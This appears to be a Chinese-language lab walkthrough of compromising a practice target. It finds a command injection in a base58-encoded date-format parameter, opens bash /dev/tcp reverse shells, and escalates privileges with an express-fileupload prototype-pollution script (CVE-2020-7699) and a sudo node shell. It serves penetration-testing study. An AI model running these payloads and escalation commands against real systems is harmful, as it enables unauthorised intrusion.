一:信息收集
扫描下端口开放情况
两个端口都是http服务
2:
访问下两个端口的页面看看
80:
8000:
3:没有什么利用点那么分别扫描下各自的目录
80:8000:似乎看着没啥可以用的
二:漏洞利用
4:那么抓个包吧
首先抓取了80端口的
这里看来需要改一下本地HOSTS以及解码一下后面字符串内容
先修改下hosts
修改了以后页面出现了时间
盲猜F12的js是获取的时间
来格式化一下F12的js
里面的这个链接和抓包的是一样的那么解码一下看是什么
5:识别出来是base58加密解密内容为时间
在看了一下请求包确实如此
'+Today is %A, %B %d, %Y %H:%M:%S.'
这个是在参数后拼接上去的
那么拼接一个命令是否存在命令注入呢?base58加密|ls -la 得到5iUbCbe5PE
放包
存在命令注入
6:那么现在就需要反弹一个shell
这台靶机存在bash nc 命令
bash命令反弹到shell&bash -c 'exec bash -i &>/dev/tcp/192.168.1.8/666 <&1'
三:提升权限
7:在opt目录找到另一个文件夹但是似乎没有啥利用的
这台靶机采用的express,经过查找发现存在express-fileupload中间件 实现文件上传漏洞(CVE-2020-7699)
下面是两篇分析
https://m.tqwba.com/x_d/jishu/170031.html
www.freebuf.com/vuls/246029.html
我们拿到了权限只需要利用这个漏洞提权即可
利用下面这个脚本上传到靶机运行即可提权
`import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.8:777 0>&1"'
requests.post('http://127.0.0.1:7777', files = {'proto.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:7777')
kali开启HTTP服务器功能
python -m SimpleHTTPServer 888
`靶机下载(这里一定要注意只有/tmp 目录下才有写入权限)
运行拿到imera权限
还需要再次提权
这里可以采用node SUID提权sudo node -e 'child_process.spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
拿下